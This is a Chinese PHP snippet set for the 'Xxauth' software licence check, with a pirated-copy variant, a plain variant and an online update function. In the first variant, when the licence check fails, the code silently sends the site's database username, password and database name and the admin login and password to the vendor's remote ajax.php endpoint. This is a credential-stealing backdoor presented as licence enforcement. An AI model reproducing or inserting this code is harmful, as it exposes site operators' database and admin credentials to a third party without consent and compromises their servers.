Xxauth授权代码
带盗版入库
//带盗版入库
define('XXAUTH_ROOT', dirname(__FILE__).'/');
include_once(XXAUTH_ROOT.'authcode.php'); //须在存放授权代码目录内创建一个空白的authcode.php文件即可
define('authcode',$authcode);
define('SESSION_NAME','auth_session'); // auth_session为缓存名称可自定义
if(!isset($_SESSION[SESSION_NAME])){
$domain = ''; //你的授权站域名,须带http(s)://结尾“/”不带
$app_uid = ''; //你的应用UID
$xxname = ''; //你的应用名称
$query = xx_get_curl($domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".authcode."&app_uid=".$app_uid);
$query = json_decode($query, true);
if(is_array($query)){
if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '这里换成应用授权密钥'),true)) {
if ($query["code"] == 1) {
$_SESSION[SESSION_NAME] = authcode(time(), 'ENCODE', '这里换成应用授权密钥');
}else{
file_get_contents($domain."/ajax.php?act=block&app_uid=".$app_uid."&url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&dbname=".$dbconfig['dbname']."&authcode=".$authcode."&site=".$xxname."&admin_user=".$conf['admin_user']."&admin_pass=".$conf['admin_pwd']."&encode=这里换成应用授权密钥");
exit("<h3>".$query["msg"]."</h3>");
}
}else{
exit("<h3>授权密钥链接失败,请到授权云端下载更新包覆盖</h3>");
}
}else{
exit('<h3>云端服务器链接失败</h3>');
}
}else{
$result = authcode($_SESSION[SESSION_NAME], 'DECODE', '这里换成应用授权密钥');
if(empty($result)){
unset($_SESSION[SESSION_NAME]);
exit('<h3>请刷新界面后重试~</h3>');
}else{
if(intval($result) + 43200 < time()){
unset($_SESSION[SESSION_NAME]);
}
}
}
不带盗版入库
//不带盗版入库
define('XXAUTH_ROOT', dirname(__FILE__).'/');
include_once(XXAUTH_ROOT.'authcode.php');
define('authcode',$authcode);
define('SESSION_NAME','auth_session');
if (!isset($_SESSION[SESSION_NAME])) {
$domain = 'http://';
$app_uid = '应用ID';
$xxname = '应用名';
$query = xx_get_curl($domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".authcode."&app_uid=".$app_uid);
$query = json_decode($query, true);
if (is_array($query)) {
if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '这里换成应用授权密钥'),true)) {
if ($query["code"] == 1) {
$_SESSION[SESSION_NAME] = authcode(time(), 'ENCODE', '这里换成应用授权密钥');
} else {
file_get_contents("http://域名/ajax.php?act=block&url=".$_SERVER['HTTP_HOST']);
exit("<h3>".$query["msg"]."</h3>");
}
} else {
exit("<h3>授权密钥链接失败,请到授权云端下载更新包覆盖</h3>");
}
} else {
exit('<h3>云端服务器链接失败</h3>');
}
} else {
$result = authcode($_SESSION[SESSION_NAME], 'DECODE', '这里换成应用授权密钥');
if (empty($result)) {
unset($_SESSION[SESSION_NAME]);
exit('<h3>请刷新界面后重试~</h3>');
} else {
if (intval($result) + 43200 < time()) {
unset($_SESSION[SESSION_NAME]);
}
}
}
在线更新
//在线更新
function update_version()
{
$app_uid = '';//程序UID
$query = curl_get("http://域名/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".authcode."&ver=".VERSION."&app_uid=".$app_uid);
$query = json_decode($query, true);
if(is_array($query)){
if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '授权密钥需要与后台填写的一致'),true)) {
return $query;
}
}
return false;
}
//在线更新文件内记得调用update_version函数
//示例:$res=update_version();
//版本号文件写法
//define('VERSION', '1000');